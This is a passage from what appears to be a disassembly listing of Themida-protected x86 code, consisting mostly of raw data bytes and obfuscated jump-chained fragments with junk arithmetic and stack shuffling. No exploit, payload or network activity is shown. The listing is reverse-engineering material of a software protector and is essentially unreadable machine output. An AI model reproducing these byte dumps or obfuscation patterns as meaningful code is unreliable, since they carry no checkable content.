462EE81h, 0F701FA28h dd 24422D5Eh, 0F829577Ah, 34B1E9h, 2C48300h, 5D2434FFh dd 4C481h, 1660000h, 0DA2D66D8h, 0E0895057h, 405h, 42D00h dd 6E90000h, 0FFFFFF89h, 1BE92434h, 33FFFF7Dh, 14312414h dd 24143324h, 77BDE95Ch, 1C870000h, 24248B24h, 3304C583h dd 2C31242Ch, 242C3324h, 0FF54CEE9h db 0FFh ; --------------------------------------------------------------------------- loc_55FE09: ; CODE XREF: Themida_:00556F3Aj add eax, 4 jmp loc_55D507 ; --------------------------------------------------------------------------- loc_55FE13: ; CODE XREF: Themida_:00559164j push dword ptr [esp] jmp loc_55B753 ; --------------------------------------------------------------------------- db 81h dd 7A4EBBEAh, 5AD101CAh, 31240C33h, 0C0E9240Ch, 50FFFF9Fh dd 1A65DFB8h, 55A8E96Ah, 0E95A0000h, 3704h ; --------------------------------------------------------------------------- loc_55FE40: ; CODE XREF: Themida_:00561785j mov esi, [esp] add esp, 4 sub eax, 6406DD2h add edi, eax mov eax, [esp] jmp loc_55DAAF ; --------------------------------------------------------------------------- dd 96D8F759h, 0F0E9DEF7h, 8B00002Eh, 0B8502424h, 4, 0FF4991E9h dd 4EA81FFh, 33000000h, 14312414h, 24143324h, 8924248Bh dd 0EC832404h, 8C9AE904h, 0B42CFFFFh, 69E97E2Ch db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FE97: ; CODE XREF: Themida_:005568BFj add eax, 4 jmp loc_566402 ; --------------------------------------------------------------------------- db 81h, 0C3h, 4 dd 50000000h, 4B8h, 58C30100h, 8B241C87h, 0E92424h db 2Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FEBB: ; CODE XREF: Themida_:005576C4j xor edi, 0F8928864h add ebp, edi jmp loc_55BADF ; --------------------------------------------------------------------------- dd 4F2CD828h, 241C8B66h, 0FF816AE9h, 4C781FFh, 0E9000000h dd 0FFFFB674h, 1EE9DA89h, 81000057h, 4ECh, 24048900h, 405E089h dd 5000000h, 4, 443CE950h, 4050000h, 5000000h, 4, 2474FF50h dd 24048B04h, 8F04C483h, 305C2404h, 52515AF0h, 0C3E5E951h db 2 dup(0FFh) word_55FF26 dw 0C868h ; DATA XREF: Themida_:0055290Co dd 0E9000004h, 69E5h, 5CF7815Fh, 57044370h, 243C8B58h dd 0E904C483h, 0FFFFF3B1h, 0F181D1F7h, 275121EAh, 5468C981h dd 0F181492Eh, 87E8DAABh, 0E959C821h, 45DFh, 4EC81h, 24890000h dd 24048324h, 2CE95804h, 0B9FFFFC4h, 69635A5Fh, 0EAE9CD01h dd 8F000081h, 76E92404h db 0BDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FF87: ; CODE XREF: Themida_:00567B3Dj mov dl, 2Ch dec dl jmp loc_553858 ; --------------------------------------------------------------------------- dd 7141C581h, 0EE012561h, 0E92434FFh, 0FFFF39DAh, 8B241433h dd 0F7662424h, 706866F9h, 14896669h, 457EE924h, 2966FFFFh dd 0E95E66F3h, 0FFFF95EFh ; --------------------------------------------------------------------------- loc_55FFC0: ; CODE XREF: Themida_:005548FFj pop edx xor ebp, 583627A8h jmp loc_55BDC3 ; --------------------------------------------------------------------------- dd 5C241433h, 9C2424D3h, 0FF2BE2E9h, 4C481FFh, 51000000h dd 0C1815954h, 4, 8704C183h, 248B240Ch, 24048F24h, 2404895Ch dd 0FF2BBEE9h db 0FFh ; --------------------------------------------------------------------------- loc_55FFFD: ; CODE XREF: Themida_:005542C4j push eax jmp loc_554F82 ; --------------------------------------------------------------------------- db 66h dd 9C2404FFh, 0FF2BAEE9h, 24148BFFh, 4EC81h, 4890000h dd 0E9E08924h, 0FFFFC8FBh, 0C1701AB9h, 9EBE560Ch, 0E906A05Dh dd 0FFFF8D90h dword_560030 dd 582434FFh, 227268h, 242C8900h, 7DE868h, 24248900h, 4240483h ; DATA XREF: Themida_:00552B38o dd 4C5815Dh, 57000000h, 0C781E789h, 4, 0E904EF83h, 246Dh ; --------------------------------------------------------------------------- loc_560060: ; CODE XREF: Themida_:00559A28j mov ebp, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp add esp, 4 or eax, eax jnz loc_562FC9 push 53E0h mov [esp], edi jmp loc_558568 ; --------------------------------------------------------------------------- word_5600A2 dw 0E9ADh ; DATA XREF: Themida_:00552938o dd 0FFFFBA2Dh ; --------------------------------------------------------------------------- loc_5600A8: ; CODE XREF: Themida_:00563F52j mov ebx, 42563300h add edx, ebx pop ebx sub edx, 127443D1h jmp loc_559764 ; --------------------------------------------------------------------------- db 0BFh dd 4BCE6B65h, 31949FBBh, 5FFB01B4h, 4966C281h, 0BF5737D0h dd 56A8126Ch, 3C8BFA29h, 4C48324h, 0C281DA01h, 56A8126Ch dd 4966EA81h, 0E9E937D0h db 0BDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5600EF: ; CODE XREF: Themida_:0056658Aj or ebp, 41FB1385h sub ebp, 575FE1C0h sub edx, ebp pop ebp sub edx, 14D37F95h add edx, ebp add edx, 14D37F95h push eax mov eax, 72BD3608h jmp loc_557A19 ; --------------------------------------------------------------------------- db 5Eh dd 0F8240481h, 292E1B4Fh, 0AA68241Ch, 8900007Bh, 0F8BF243Ch dd 0E92E1B4Fh, 4B28h ; --------------------------------------------------------------------------- loc_560134: ; CODE XREF: Themida_:00561532j sub esp, 4 jmp loc_55CBA9 ; --------------------------------------------------------------------------- db 80h dd 0F780A6CFh, 5BF9886Bh, 0C8BCB88h, 4C48324h, 0E92EB450h dd 795Eh, 4FE9C389h db 2Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_56015F: ; CODE XREF: Themida_:0055D502j mov ebp, 0 jmp loc_557345 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 0EBC063B3h, 2A686606h, 5A93E94Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56017A: ; CODE XREF: Themida_:005565DBj xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_564047 ; --------------------------------------------------------------------------- loc_560188: ; CODE XREF: Themida_:0055FC21j mov [esp], ebp jmp loc_553A68 ; --------------------------------------------------------------------------- dd 5935F381h, 1B683FB6h, 0E9000026h, 2294h, 24132468h dd 9E95912h db 0CBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5601AB: ; CODE XREF: Themida_:00564199j pop ebx push esi mov esi, esp add esi, 4 add esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp push ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov ebp, [esp] add esp, 4 jmp loc_564A0E ; --------------------------------------------------------------------------- dw 0CD81h dd 0F840211h, 0FF9640E9h, 1AC381FFh, 1688212h, 1AEB81C3h dd 0FF688212h, 51582434h, 0BA52E189h, 4, 7322E9h, 19B85000h dd 89AA0051h, 0C38158C7h, 4CAB1899h, 6697EB81h, 0F8E90137h dd 5B00007Fh, 8B24048Fh, 14892424h, 313C6824h, 0E6E90000h dd 0E900001Ah, 0FFFF297Fh, 3024248Bh, 0E99C2404h, 0FFFF2973h dd 5359CE01h, 5E38A4BBh, 5EC38175h, 18AA1C7h, 241C8BDEh dd 4C481h, 34330000h, 24343124h, 0E9243433h, 0FFFFA2D1h dd 24048F54h, 4BD5550h, 0E9000000h, 5244h, 75C5EB81h, 55E93512h db 0FCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56028B: ; CODE XREF: Themida_:00558525j pop ebp add ebx, ebp push dword ptr [esp] pop ebp add esp, 4 add ebx, 3E702648h push 649Fh mov [esp], ecx push eax push 0C095A99h mov eax, [esp] add esp, 4 push ecx mov ecx, 62586B73h or ecx, 52EB49E3h sub ecx, 1EF00BE6h push ecx dec dword ptr [esp] pop ecx sub ecx, 1 push ebp mov ebp, 60017382h xor ebp, 6B4F2D5Bh shr ebp, 6 or ebp, 42E60F5Bh add ebp, 12A82DBFh sub ecx, ebp mov ebp, [esp] add esp, 4 sub esp, 4 jmp loc_5676ED ; --------------------------------------------------------------------------- db 68h dd 16A3h, 0B8240489h, 7DE869ECh, 8904EC83h, 0AAE92434h db 7Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_56031B: ; CODE XREF: Themida_:00554DF0j add ebp, 1 sub ebp, 0A14EC0E7h mov ebx, ebp pop ebp shl ebx, 6 jmp loc_563F1D ; --------------------------------------------------------------------------- loc_560332: ; CODE XREF: Themida_:005606F7j mov edi, [esp] add esp, 4 xor ecx, 266C2BF9h jmp loc_554FC2 ; --------------------------------------------------------------------------- loc_560346: ; CODE XREF: Themida_:0055E0D7j xor esi, 3B2844BFh xor esi, 7E290C5Fh xor eax, esi jmp loc_557C1F ; --------------------------------------------------------------------------- loc_560359: ; CODE XREF: Themida_:00565B74j mov ebx, [esp] add esp, 4 push 10AFh mov [esp], ebx jmp loc_56255D ; --------------------------------------------------------------------------- byte_56036F db 8Bh ; DATA XREF: Themida_:00552944o dd 0EC832404h, 24148904h, 68F468h, 4EC8300h, 83242489h dd 0E9042404h, 0FFFFFBF3h, 0C581E589h, 4, 4C581h, 2C870000h dd 0FB685C24h, 89000009h, 0E2892414h, 556468h, 1B9BE900h dd 0C330000h, 53CBE924h, 835D0000h, 93E904C4h db 42h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5603C3: ; CODE XREF: Themida_:00555ACDj pop ebx jmp loc_5548EA ; --------------------------------------------------------------------------- db 31h, 0Ch, 24h dd 8B240C33h, 0C3302424h, 3F55E9h db 0 ; --------------------------------------------------------------------------- loc_5603D9: ; CODE XREF: Themida_:00562161j sub esp, 4 mov [esp], eax jmp loc_5607D2 ; --------------------------------------------------------------------------- byte_5603E7 db 0FFh ; DATA XREF: Themida_:00552ADCo dd 34FF2434h, 7C5CE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5603F2: ; CODE XREF: Themida_:0055BAE6j sub edx, 49E8FD99h jmp loc_5543FC ; --------------------------------------------------------------------------- db 5Ah, 0E9h, 2Bh db 45h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560403: ; CODE XREF: Themida_:00561DD5j sub ebx, 79083F20h sub ebx, esi add ebx, 79083F20h pop esi push 0 push ebx mov ebx, 2F3C177Eh jmp loc_55C9B3 ; --------------------------------------------------------------------------- dw 34FFh dd 2434FF24h, 0E189515Ah, 1113E9h, 2BE5600h, 31020200h dd 0DA295EF3h, 81241C8Bh, 4C4h, 74FF5200h, 8F5A0424h, 53E92404h db 75h, 2 dup(0) ; --------------------------------------------------------------------------- loc_560453: ; CODE XREF: Themida_:0055AC57j neg ebp jmp loc_563EA2 ; --------------------------------------------------------------------------- dw 15Eh dd 242C8BEFh, 8704C483h, 665C243Ch, 66C8BE0Fh, 666FF168h dd 0E9240C89h, 0FFFF2743h, 2404A30Fh, 2739E99Ch, 8952FFFFh dd 4C281E2h, 81000000h, 4C2h, 24148700h, 0FFD4E1E9h db 0FFh ; --------------------------------------------------------------------------- loc_560499: ; CODE XREF: Themida_:00567841j mov eax, [esp] jmp loc_568127 ; --------------------------------------------------------------------------- byte_5604A1 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00552994o aVh db '$Vhъ!',0 dw 8900h dd 53562424h, 0B6593168h, 241C8B3Fh, 0E904C483h, 0FFFFFCD0h dd 4C4835Ah, 5558C529h, 23243481h, 8B175D3Eh, 0C4812404h dd 4, 5D3E2335h, 2EE95D17h, 66FFFF49h, 0F6240489h, 66012454h dd 8124048Bh, 2C4h, 9AE95000h, 29FFFF73h, 0E99C2404h, 0FFFF26B7h ; --------------------------------------------------------------------------- loc_560504: ; CODE XREF: Themida_:0055F394j push esp jmp loc_560BEA ; --------------------------------------------------------------------------- dw 0C330h dd 66C0B60Fh, 0E987048Fh, 0FFFF26A3h, 1C57215Fh, 0FFC05FE9h db 0FFh ; --------------------------------------------------------------------------- loc_560521: ; CODE XREF: Themida_:005612D2j sub edx, 3C27961h add edx, 38D88C69h jmp loc_55523F ; --------------------------------------------------------------------------- dw 34FFh dd 0C4815A24h, 4, 0C63036B6h, 582434FFh, 0FF7A3EE9h, 75BB53FFh dd 0E92FDC1Fh, 55CCh ; --------------------------------------------------------------------------- loc_560554: ; CODE XREF: Themida_:00559C93j sub al, cl pop ecx jmp loc_55E95C ; --------------------------------------------------------------------------- dd 4C4835Fh, 246C015Eh, 242C8B04h, 6AA868h, 242C8900h dd 0C581E589h, 4, 8704C583h, 0E95C242Ch, 2E1h ; --------------------------------------------------------------------------- loc_560584: ; CODE XREF: Themida_:0055452Fj sub eax, 3AEA2F4Dh shl eax, 1 push ebp mov ebp, 65F26669h jmp loc_563A57 ; --------------------------------------------------------------------------- dw 0B951h dd 451F50A1h, 67E9C829h db 0DFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5605A3: ; CODE XREF: Themida_:0055EA87j push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_55F049 ; --------------------------------------------------------------------------- aHi db '\hi|',0 align 2 dw 2C89h dd 4BD24h, 60E90000h, 4BFFFFDEh, 6673E381h, 0E38165D6h dd 568E40D2h, 99ACEB81h, 0DA01F829h, 0FF6ADBE9h, 23685CFFh dd 89000064h, 0EC812414h, 4, 52240489h, 0BAE90EB6h, 0F7FFFFECh dd 3E8C1D0h, 7800E9h db 0 byte_56061D db 66h, 8Bh, 4 ; DATA XREF: Themida_:005529B8o dd 0E9545324h, 0FFFFC975h ; --------------------------------------------------------------------------- loc_560628: ; CODE XREF: Themida_:0055EA3Fj add edi, 475A36F8h jmp loc_556437 ; --------------------------------------------------------------------------- loc_560633: ; CODE XREF: Themida_:00562879j push dword ptr [esp+4] pop edi pop dword ptr [esp] jmp loc_557842 ; --------------------------------------------------------------------------- loc_560640: ; CODE XREF: Themida_:005572B6j push ecx mov ecx, 68973E48h shl ecx, 6 or ecx, 5D167574h shr ecx, 1 not ecx sub ecx, 4AE5EB04h mov edi, ecx jmp loc_5667AF ; --------------------------------------------------------------------------- dd 0E9FFEB83h, 0FFFFE7F1h ; --------------------------------------------------------------------------- loc_560668: ; CODE XREF: Themida_:00559444j mov ebp, [esp] push edx mov edx, esp add edx, 4 jmp loc_55E750 ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) dd 4240483h, 0E92434FFh, 0FFFFF6E7h, 264FE981h, 348B34AEh dd 4C48324h, 51BA5253h, 81786C31h, 0D37FBAE2h, 9AC28168h dd 0E9117026h, 0FFFF8155h, 6F169F68h, 0E7815F09h, 8F37F6Eh dd 0FF5494E9h, 73EE80FFh, 0F65AF320h, 662FE9D3h, 15AFFFFh dd 0C1815FF9h, 4F055234h, 0E981F901h, 4F055234h, 6988E981h dd 0E95F518Bh, 0FFFFF699h ; --------------------------------------------------------------------------- loc_5606E8: ; CODE XREF: Themida_:00554799j mov ecx, esp add ecx, 4 jmp loc_567404 ; --------------------------------------------------------------------------- loc_5606F5: ; CODE XREF: Themida_:00567561j and ecx, edi jmp loc_560332 ; --------------------------------------------------------------------------- dd 7E420DB9h, 54EE975h, 14870000h, 14895C24h, 6EA7BA24h dd 0D58943ABh, 614CE9h db 0 ; --------------------------------------------------------------------------- loc_560719: ; CODE XREF: Themida_:00555C29j add edi, ebx sub edi, 38AE421Fh pop ebx xor esi, edi pop edi sub edi, 658C2B95h add edi, 655A4CE4h add edi, 620256E7h sub edi, esi sub edi, 620256E7h sub edi, 655A4CE4h push edx push esi push ecx jmp loc_558F2D ; --------------------------------------------------------------------------- loc_56074D: ; CODE XREF: Themida_:0055D8B8j mov ebx, 0E5D0457h jmp loc_557F12 ; --------------------------------------------------------------------------- loc_560757: ; CODE XREF: Themida_:00553AF7j neg ebx push ecx jmp loc_555193 ; --------------------------------------------------------------------------- db 8Bh dd 0C483243Ch, 0B8B85004h, 31378866h, 0E18158C1h, 66334B03h dd 3C37BF57h, 0E9813AACh, 22F67905h, 6112C181h, 0F9010481h dd 6112E981h, 0E9500481h, 3AABh ; --------------------------------------------------------------------------- loc_560794: ; CODE XREF: Themida_:00563306j sub [esp+4], edx jmp loc_566CE1 ; --------------------------------------------------------------------------- db 66h, 8Bh, 14h aSvm db '$ИVM',0 align 2 loc_5607A6: ; CODE XREF: Themida_:00565B40j xor esi, 123A21EBh xor esi, 0FF64B479h dec esi or esi, 4B326591h push edx jmp loc_559BF0 ; --------------------------------------------------------------------------- db 81h dd 0E37B49F1h, 59CF0185h, 2474FF57h, 8FF7E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5607D2: ; CODE XREF: Themida_:005603E2j push esi mov esi, 58F3020Eh jmp loc_565E6C ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0CE68E95Fh, 815AFFFFh, 4C4h, 4EC8300h, 0FF243C89h, 2DE92434h dd 0B9FFFFCDh, 0 dd 259FE981h, 0D9295D71h, 44F4E9h, 4BEBA00h, 0DA3153A1h dd 0FFD3295Bh, 148B2434h, 4C48124h, 83000000h, 1C3304C4h dd 241C3124h, 8B241C33h, 94E92424h, 80FFFF69h, 0D42821F2h dd 0FF747EE9h db 0FFh ; --------------------------------------------------------------------------- loc_560841: ; CODE XREF: Themida_:00555729j push eax push 53ADh mov [esp], edi jmp loc_567412 ; --------------------------------------------------------------------------- db 8 dd 805A66F3h, 686601F3h, 0FAE91E77h, 5C00005Ch, 0FF48ABE9h dd 2434FFFFh, 4C4815Eh, 68000000h, 3CF9h, 0B9240C89h, 4 dd 0FFF9C7E9h, 4EC81FFh, 68000000h, 18B8h, 0E9242489h dd 32Fh, 0E983C281h, 0D589F69Eh, 7EDC15Ah, 4D02E5C1h, 4E17C581h dd 0E5D129C4h, 3928F581h, 0EE897CE0h, 0A512E95Dh, 0CD89FFFFh dd 0FF72DEE9h, 0A1C281FFh, 5903952Eh, 31241433h, 14332414h dd 14895C24h, 4EC8124h, 89000000h, 94E92424h, 5DFFFFB4h dd 0FF582AE9h db 0FFh ; --------------------------------------------------------------------------- loc_5608E9: ; CODE XREF: Themida_:005593B7j mov esi, [esp] add esp, 4 add esi, 7BE0705Eh push edx mov edx, 20F7140Dh shl edx, 8 xor edx, 0C1F47C12h add esi, edx jmp loc_5536C9 ; --------------------------------------------------------------------------- db 81h dd 7961EDC7h, 0E9FB0142h, 3759h ; --------------------------------------------------------------------------- loc_560918: ; CODE XREF: Themida_:00553FEDj xor eax, 109D453Dh and esi, eax pop eax push esi jmp loc_554D69 ; --------------------------------------------------------------------------- dw 0DFF7h dd 8102EFC1h, 266A17F7h, 3AE7815Ch, 816DFD68h, 0A0BA5F7h dd 5FF8294Eh, 0FFB49FE9h db 0FFh ; --------------------------------------------------------------------------- loc_560945: ; CODE XREF: Themida_:0056382Cj pop esi push eax jmp loc_5582EC ; --------------------------------------------------------------------------- dd 68h, 24342900h, 0FF592DE9h db 0FFh ; --------------------------------------------------------------------------- loc_560959: ; CODE XREF: Themida_:00562699j pop esi sub eax, 37447ED7h sub eax, ebx add eax, 37447ED7h pop ebx add eax, ecx sub esp, 4 mov [esp], edx mov edx, 76906146h jmp loc_555E37 ; --------------------------------------------------------------------------- dd 9078E95Ch, 0BA52FFFFh, 5B7A7B87h, 68h, 24142900h, 6E2C15Ah dd 9CD8F281h, 0D031735Eh, 0FF92AEE9h, 81E789FFh, 4C7h dd 5280E900h, 0ED81FFFFh, 0FED9637h, 2C8BE929h, 89B0E924h dd 8359FFFFh, 0FF5002C0h, 8B042474h, 1BE92404h db 67h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5609CF: ; CODE XREF: Themida_:005590B4j dec eax xor eax, 0A45865h push esi mov esi, 719F3529h and eax, esi pop esi xchg eax, ebx inc ebx xchg eax, ebx push edi push edx jmp loc_561FCC ; --------------------------------------------------------------------------- loc_5609E8: ; CODE XREF: Themida_:00556383j push edx mov edx, esp add edx, 4 jmp loc_557785 ; --------------------------------------------------------------------------- dw 1489h dd 81E28924h, 4C2h, 4BD5500h, 29000000h, 14875DEAh, 366CE924h db 2 dup(0FFh) word_560A12 dw 8B66h ; DATA XREF: Themida_:005529D4o dd 8368240Ch, 0E9000072h, 0FFFFA277h ; --------------------------------------------------------------------------- loc_560A20: ; CODE XREF: Themida_:00561B29j xchg ebp, [esp] mov esp, [esp] sub esp, 4 mov [esp], esi mov esi, 4 add ebx, 31355F3Eh add ebx, esi sub ebx, 31355F3Eh jmp loc_5595A2 ; --------------------------------------------------------------------------- db 5Ch dd 83243C8Bh, 0FD6804C4h, 89000046h, 0A3BD242Ch, 0E9659208h dd 0FFFFE678h ; --------------------------------------------------------------------------- loc_560A60: ; CODE XREF: Themida_:0055E75Cj push dword ptr [esp] mov eax, [esp] add esp, 4 push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push edi add dword ptr [esp], 369C3AD9h pop eax sub eax, 369C3AD9h push dword ptr [esp] jmp loc_554AE7 ; --------------------------------------------------------------------------- db 5Ch, 87h, 0Ch dd 24248B24h, 0FFADCDE9h, 4FE681FFh, 81078438h, 3877B6E6h dd 73BDE90Ah, 14310000h, 24143324h, 5724248Bh, 5374E9h dd 9DC68100h, 5D0AF778h, 676EE95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_560ACA: ; CODE XREF: Themida_:00564A14j mov edx, 4 add ebp, edx pop edx push esi push edi push esi push edi jmp loc_558829 ; --------------------------------------------------------------------------- loc_560ADB: ; CODE XREF: Themida_:00559038j and eax, ebp mov ebp, [esp] add esp, 4 or edx, eax shl edx, 1 sub esp, 4 mov [esp], edi mov edi, esp add edi, 4 push ebx jmp loc_558BD2 ; --------------------------------------------------------------------------- loc_560B01: ; CODE XREF: Themida_:0055E9FBj add [esp+4], eax push 1625h mov [esp], ecx push 43DB47F4h jmp loc_55F6FA ; --------------------------------------------------------------------------- db 87h dd 248B2434h, 0E2895224h, 6510BD55h, 0ED817CE5h, 7CE5650Ch dd 4FE9EA01h, 56FFFF9Bh, 0BA52E689h, 17677498h, 7494EA81h dd 14E91767h db 0DFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560B47: ; CODE XREF: Themida_:005649D1j mov edx, [esp] jmp loc_555D9D ; --------------------------------------------------------------------------- db 0C1h dd 0D6F705E6h, 77D4C681h, 78E9536Eh db 1Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_560B5F: ; CODE XREF: Themida_:00565047j pop ebx xor eax, edx mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], ebx push 0AF3h mov [esp], edi push 4DB66B9Eh pop edi mov ebx, 8EF8B942h push edi mov edi, 31CC43E2h xor edi, 6BDD6EBDh add ebx, edi jmp loc_5598F8 ; --------------------------------------------------------------------------- db 5Dh dd 5C240C87h, 89243C89h, 4C781E7h, 83000000h, 3C8704C7h dd 24248B24h, 348BF001h, 4C48124h, 83000000h, 0B3E904ECh dd 81FFFFAFh, 42404h, 48F0000h, 24048124h, 4, 0FF2036E9h dd 5BDA29FFh, 3014C281h, 0D2F76A7Ah, 0E89EE952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560BEA: ; CODE XREF: Themida_:00560505j pop ebx push ebp push 7AD5h mov [esp], esi jmp loc_561305 ; --------------------------------------------------------------------------- db 81h, 0EBh, 8 dd 8148B725h, 5901A5C3h, 81CB0170h, 5901A5EBh, 8C38170h dd 0FF48B725h, 0C8B2434h, 4C48324h, 4C481h, 1C330000h dd 241C3124h, 8B241C33h, 0EC812424h, 4, 50240C89h, 4EC81h dd 0C890000h, 88D58824h, 885259ECh, 5AF588E6h, 0E92434FFh dd 0FFFFBFADh, 1BAFEE81h, 0CE01437Bh, 1BAFC681h, 2DE9437Bh dd 0FF00006Ch, 0E95D2434h, 0FFFFD13Ah ; --------------------------------------------------------------------------- loc_560C70: ; CODE XREF: Themida_:00559A87j shr esi, 5 jmp loc_55DEC2 ; --------------------------------------------------------------------------- dd 241C8758h, 8124248Bh, 4ECh, 240C8900h, 4EC81h, 3DE90000h dd 0C000006Ch, 0F18005E1h, 59CF0839h, 6628F780h, 28A8B353h dd 5B66D8h, 5BA804F8h, 0EC81D828h, 4, 50241C89h, 7BB344B0h dd 0B252DBF6h, 0D3C280D5h, 30D6EA80h, 88EBE9D3h, 0C181FFFFh dd 4, 63A868h, 242C8900h, 91DBF57h, 0E9572BEBh, 26E2h ; --------------------------------------------------------------------------- loc_560CE8: ; CODE XREF: Themida_:0055C54Cj pop edx mov ebx, [esp] add esp, 4 jmp loc_552BBB ; --------------------------------------------------------------------------- loc_560CF7: ; CODE XREF: Themida_:00566431j inc ecx jmp loc_55D686 ; --------------------------------------------------------------------------- db 5Bh, 8Bh, 1Ch dd 0E9545224h, 0FFFF8A8Ch ; --------------------------------------------------------------------------- loc_560D08: ; CODE XREF: Themida_:0055BBFCj mov esp, [esp] jmp loc_55FA99 ; --------------------------------------------------------------------------- loc_560D10: ; CODE XREF: Themida_:0056387Ej add esp, 4 add ebx, 3AAE6366h xor ebx, 2F605F97h xor ebx, 0BE233857h mov eax, ebx mov ebx, [esp] jmp loc_55F155 ; --------------------------------------------------------------------------- db 5Bh dd 0FF3CB0E9h db 0FFh ; --------------------------------------------------------------------------- loc_560D35: ; CODE XREF: Themida_:0055965Bj pop esi jmp loc_559169 ; --------------------------------------------------------------------------- loc_560D3B: ; CODE XREF: Themida_:0056544Ej xor [esp], edx xor edx, [esp] xor [esp], edx not edx jmp loc_555D86 ; --------------------------------------------------------------------------- db 5Dh dd 8704C083h, 0E95C2404h, 6E8Ah ; --------------------------------------------------------------------------- loc_560D58: ; CODE XREF: Themida_:00563385j xchg edx, [esp] pop esp mov [esp], ecx jmp loc_552BBB ; --------------------------------------------------------------------------- dd 34EBE781h, 0C7814EC8h, 203E48C4h, 3AF8F781h, 5556763Ch dd 6B141ABDh, 2C54E90Dh, 0EC830000h, 24148904h, 0D32241BAh dd 5BF575Fh, 2157C570h, 0CE95FFAh db 64h, 2 dup(0) ; --------------------------------------------------------------------------- loc_560D9B: ; CODE XREF: Themida_:0056701Cj add eax, edx pop edx xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] loc_560DAA: ; CODE XREF: Themida_:loc_55DA33j push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_5574DC ; --------------------------------------------------------------------------- loc_560DBE: ; CODE XREF: Themida_:00563CB5j mov bh, 38h and bh, 0BAh sub bh, 20h add dl, bh pop ebx add bl, 4Bh add bl, dl sub bl, 4Bh pop edx push cx mov ch, 66h sub bl, 0CAh add bl, ch push eax mov al, 0ADh sub al, 0AFh jmp loc_55DA00 ; --------------------------------------------------------------------------- db 0F6h, 0F9h, 66h dd 0E9CCB60Fh, 0FFFF37A5h, 1DF7815Fh, 0E95FD30Dh, 447h dd 8685356h, 5B42EC05h, 0E3C1D3F7h, 0ADD4E902h, 0C781FFFFh dd 4, 0FF5FA6E9h db 0FFh ; --------------------------------------------------------------------------- loc_560E19: ; CODE XREF: Themida_:005598D7j pop esp rol word ptr [esp], cl pushf jmp loc_552BBB ; --------------------------------------------------------------------------- loc_560E24: ; CODE XREF: Themida_:0055449Dj push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] pop esp push esi mov esi, esp add esi, 4 push edx mov edx, 4 add esi, edx pop edx jmp loc_559CB5 ; --------------------------------------------------------------------------- loc_560E49: ; CODE XREF: Themida_:00566637j jmp loc_552BBB ; --------------------------------------------------------------------------- dw 0C4FEh dd 8002E4C0h, 0E32843C4h, 66C32858h, 7CB9E952h, 8142FFFFh dd 227FDEAh, 59BCE943h, 24BEFFFFh, 89377B4Dh, 5215E9F2h dd 0C801FFFFh, 74FF5059h, 8F580424h, 248B2404h, 2C28324h dd 31241433h, 14332414h, 24248B24h, 0C8AF0F66h, 4C5E9h dd 4EAC100h, 0FF3D50E9h db 0FFh ; --------------------------------------------------------------------------- loc_560EA9: ; CODE XREF: Themida_:00561DC8j add ecx, ebp jmp loc_56114E ; --------------------------------------------------------------------------- dd 6F79EF81h, 0E7812909h, 123B0551h, 8104EFC1h, 4A4793EFh dd 5FFB21DBh, 6F30CB81h, 0ACE92917h, 8B000035h, 0C4812414h dd 4, 1CD9E95Eh, 56B8FFFFh, 2906FE62h, 0B95158C6h, 32C16EB2h dd 4AC5F181h, 6DE97982h db 3Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_560EFB: ; CODE XREF: Themida_:0056735Bj push esp pop ebp add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], ecx jmp loc_55797F ; --------------------------------------------------------------------------- aAf db '╨aF=',0 dw 0D601h dd 0AE6815Ah, 0E918074Fh, 0FFFF99CCh, 0E957D5F7h, 0FFFFC609h dd 8B243487h, 89662424h, 74E92404h, 81FFFF1Ch, 0CA451FF2h dd 5AD72942h, 71ACBE56h, 0C2E953ACh, 53FFFFCDh, 0E240481h dd 0E960F24Bh, 0FFFF3C65h, 589468h, 4F91E900h, 8B68FFFFh dd 5DEBB857h, 0FFD30BE9h db 0FFh ; --------------------------------------------------------------------------- loc_560F7D: ; CODE XREF: Themida_:0055B4D3j or eax, ebx pop ebx push ebp mov ebp, 0 sub ebp, eax xchg eax, ebp pop ebp and eax, 4F2A0779h jmp loc_565F10 ; --------------------------------------------------------------------------- dd 355968h, 24048900h, 0BB53E089h, 4, 55BD801h, 4, 0FF579EE9h dd 0C4835AFFh, 0ABEF8104h, 0C13E4A69h, 0BB5303EFh, 2982F822h dd 2D5BDF01h, 2A2D1F15h, 1505F829h, 8B2A2D1Fh, 0C481243Ch dd 4, 